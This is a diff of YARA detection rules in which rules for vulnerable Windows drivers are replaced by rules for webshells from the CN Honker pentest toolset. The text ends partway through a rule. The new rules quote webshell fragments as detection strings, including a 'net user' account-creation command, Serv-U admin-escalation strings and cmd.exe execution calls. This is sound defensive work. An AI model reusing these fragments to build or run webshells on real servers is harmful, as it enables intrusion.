+		filesize <113KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_3D9E : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Serv_U_Asp : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "023a5c66-aae0-5583-95aa-0a62f3f27352"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file Serv-U asp.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "06a58a05-92bd-5124-a172-2bfd9491c2fc"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1167-L1187"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3d9e83b189fcf5c3541c62d1f54a0da0a4e5b62c3243d2989afc46644056c8e3"
-		logic_hash = "fdb944988945780b774d73f3d729d2468b0c9006aca100fa8bbf913a9c5402c6"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L441-L457"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cee91cd462a459d31a95ac08fe80c70d2f9c1611"
+		logic_hash = "c98c3f4db5ea812827b6108ef88b57116621142202248f4f26f0c71bd76e33ec"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004e00540049004f004c00690062005f00450043004f }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002d00320030003100320020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "newuser = \"-SETUSERSETUP\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \"-PortNo=\" &" ascii
+		$s2 = "<td><input name=\"c\" type=\"text\" id=\"c\" value=\"cmd /c net user goldsun lov" ascii
+		$s3 = "deldomain = \"-DELETEDOMAIN\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \" PortNo=\"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <30KB and 2 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_2BBE : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Cfm_List : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "fbe65027-5e7a-5944-bd8a-c0673cd165a1"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file list.cfm"
+		author = "Florian Roth (Nextron Systems)"
+		id = "98302eef-d1e8-5524-a57e-d49c0e92c7e0"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1190-L1211"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2bbe65cbec3bb069e92233924f7ee1f95ffa16173fceb932c34f68d862781250"
-		hash = "e68d453d333854787f8470c8baef3e0d082f26df5aa19c0493898bcf3401e39a"
-		logic_hash = "23365c52fd3ce5d9c113c0779072b82325632c75f27cbfde9037b7ffc543a209"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L459-L474"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "85d445b13d2aef1df3b264c9b66d73f0ff345cec"
+		logic_hash = "41c7c5ba6187a8871dec83bcd859b9377813d60cea8ef2b4ad390c67de04e010"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004d0053004900530069006d0070006c0065005f004f0043 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002d00320030003100320020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "<TD><a href=\"javascript:ShowFile('#mydirectory.name#')\">#mydirectory.name#</a>" ascii
+		$s2 = "<TD>#mydirectory.size#</TD>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_092D : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
-		author = "Florian Roth"
-		id = "89160c3c-ff81-5425-a205-09be7fd5a412"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file php2.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "377ff89d-a9ba-526c-97a1-388f9ccb48ba"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1214-L1235"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "092d04284fdeb6762e65e6ac5b813920d6c69a5e99d110769c5c1a78e11c5ba0"
-		hash = "0ce40a2cdd3f45c7632b858e8089ddfdd12d9acb286f2015a4b1b0c0346a572c"
-		logic_hash = "771400b6e3f2d216fd38db681bf78fbc4e764a45ff9e11d2e33b62f93ac4a8e2"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L476-L491"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bf12e1d741075cd1bd324a143ec26c732a241dea"
+		logic_hash = "707e2795d82636fbbc4d9f5324e509a526f77f9ead8f3c4d59dd0e95bc94f11e"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }
+		$s1 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii
+		$s2 = "<?php // Black" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <12KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_62F5 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Tuoku_Script_Oracle : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "e66960f5-d39e-5b0b-b573-77ffeb276925"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file oracle.jsp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "adc8dea6-8031-580b-b19a-e5520d41528f"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1238-L1259"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "62f5e13b2edc00128716cb93e6a9eddffea67ce83d2bb426f18f5be08ead89e0"
-		hash = "ee3ff12943ced401e2b6df9e66e8a0be8e449fa9326cab241f471b2d8ffefdd7"
-		logic_hash = "13b9c0f468e8ce5a9ff8938879d6d22a56c0d7e01b3a72969ecff55954a07b89"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L493-L509"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fc7043aaac0ee2d860d11f18ddfffbede9d07957"
+		logic_hash = "3ad4207e426ed2f9df0e0bac0e906af437b0774ba2ebb541afbe7e29b395ad63"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003000390039 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "String url=\"jdbc:oracle:thin:@localhost:1521:orcl\";" fullword ascii
+		$s2 = "String user=\"oracle_admin\";" fullword ascii
+		$s3 = "String sql=\"SELECT 1,2,3,4,5,6,7,8,9,10 from user_info\";" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and all of them
+		filesize <7KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Yyinc_Dianhu_80CB : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASPX_Aspx4 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Dh_Kernel_10.sys"
-		author = "Florian Roth"
-		id = "166a402d-9679-54b8-9703-3e3b2b001236"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file aspx4.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4a13c809-48f7-54f7-9ce3-10d6d48104fb"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1262-L1281"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "80cbba9f404df3e642f22c476664d63d7c229d45d34f5cd0e19c65eb41becec3"
-		hash = "bb50818a07b0eb1bd317467139b7eb4bad6cd89053fecdabfeae111689825955"
-		logic_hash = "fb1f5f8687f1673585ee2652b9dde20ae925ee33d527d2052707b2370a5df1fc"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L511-L527"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "200a8f15ffb6e3af31d28c55588003b5025497eb"
+		logic_hash = "0aab8e327b4477cb0b8cd5d4b1e4b52c160180656dad57b0498654da1c8d7a29"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006400690061006e00680075 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0059005900200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00390039 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00390039 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006400690061006e00680075 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300037002d003200300031003700200059005900200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s4 = "File.Delete(cdir.FullName + \"\\\\test\");" fullword ascii
+		$s5 = "start<asp:TextBox ID=\"Fport_TextBox\" runat=\"server\" Text=\"c:\\\" Width=\"60" ascii
+		$s6 = "<div>Code By <a href =\"http://www.hkmjj.com\">Www.hkmjj.Com</a></div>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <11KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_8F68 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASPX_Aspx : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
-		author = "Florian Roth"
-		id = "6a773b61-ac40-5cdd-ad93-0b16061587f7"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file aspx.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4a13c809-48f7-54f7-9ce3-10d6d48104fb"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1284-L1305"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8f68ca89910ebe9da3d02ec82d935de1814d79c44f36cd30ea02fa49ae488f00"
-		hash = "c8eaa5e6d3230b93c126d2d58e32409e4aeeb23ccf0dd047a17f1ef552f92fe9"
-		logic_hash = "7be41a2e50b883e4e8196b37a35c5b1fd4169b3bc1975832baa4b8983bcfb051"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L529-L546"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8378619b2a7d446477946eabaa1e6744dec651c1"
+		logic_hash = "b59684633fd72bd1804a96850a8b358db98c169415b6e65fe3ecfb4d9fde72d0"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003600200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$s0 = "string iVDT=\"-SETUSERSETUP\\r\\n-IP=0.0.0.0\\r\\n-PortNo=52521\\r\\n-User=bin" ascii
+		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
+		$s2 = "td.Text=\"<a href=\\\"javascript:Bin_PostBack('urJG','\"+dt.Rows[j][\"ProcessID" ascii
+		$s3 = "vyX.Text+=\"<a href=\\\"javascript:Bin_PostBack('Bin_Regread','\"+MVVJ(rootkey)+" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <353KB and 2 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_A5A5 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Su7_X_9_X : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "b68851b2-66b6-5b8a-9aaa-918a34934a92"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file su7.x-9.x.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5d546ce8-6f8f-5b0b-9472-23f283ef9f80"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1308-L1328"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a5a50449e2cc4d0dbc80496f757935ae38bf8a1bebdd6555a3495d8c219df2ad"
-		logic_hash = "38048706f3e5bd4248779dc8890d14a31daafa177c51953c31f2e7a81c6871a0"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L548-L563"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "808396b51023cc8356f8049cfe279b349ca08f1a"
+		logic_hash = "2d2398cf0f9e253eea343d39b6555f2633f92f627f1c93cc28123d5a7f3d1bf1"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0033002e0033003800340038002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0033002e0033003800340038002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
+		$s0 = "returns=httpopen(\"LoginID=\"&user&\"&FullName=&Password=\"&pass&\"&ComboPasswor" ascii
+		$s1 = "returns=httpopen(\"\",\"POST\",\"http://127.0.0.1:\"&port&\"/Admin/XML/User.xml?" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		filesize <59KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_591B : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Cfmshell : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "b4f581f6-66e5-5b85-9b2d-b1532dd2defe"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file cfmShell.cfm"
+		author = "Florian Roth (Nextron Systems)"
+		id = "40d50ddb-2963-5d8e-b93a-bb44a8944229"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1331-L1351"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "591bd5e92dfa0117b3daa29750e73e2db25baa717c31217539d30ffb1f7f3a52"
-		logic_hash = "471fab20146586dacf37b9bb3f43ee578339c73f204487556987803d12a64f95"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L565-L580"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "740796909b5d011128b6c54954788d14faea9117"
+		logic_hash = "0767012ec8fd4a18a64eca04d459efb55fafd29ed052dab8a0eb1b8f4ce7aa66"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004d005300490052006100740069006f005f00430043 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "<cfexecute name=\"C:\\Winnt\\System32\\cmd.exe\"" fullword ascii
+		$s4 = "<cfif FileExists(\"#GetTempDirectory()#foobar.txt\") is \"Yes\">" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <4KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Openlibsysorg_Winringsys_Winring_47EA : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Asp4 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WinRing0.sys"
-		author = "Florian Roth"
-		id = "b14e5697-a0f7-5af0-a0da-0f5ca2d88c1c"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file asp4.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4125bb40-3f5c-53f5-b906-54fa77b119f5"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1354-L1375"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "47eaebc920ccf99e09fc9924feb6b19b8a28589f52783327067c9b09754b5e84"
-		hash = "3ec5ad51e6879464dfbccb9f4ed76c6325056a42548d5994ba869da9c4c039a8"
-		logic_hash = "e6bea09a04b7f043d9a8cef4c8dc3e2f087fdf1a981f6d23dee728ea6d15d792"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L582-L598"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4005b83ced1c032dc657283341617c410bc007b8"
+		logic_hash = "ae02d1efc975a8592a00cbab823355fb778fbb589f5752dd913aa432b316c3a4"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e00520069006e00670030 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0032 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00520069006e00670030 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s2 = "if ShellPath=\"\" Then ShellPath = \"cmd.exe\"" fullword ascii
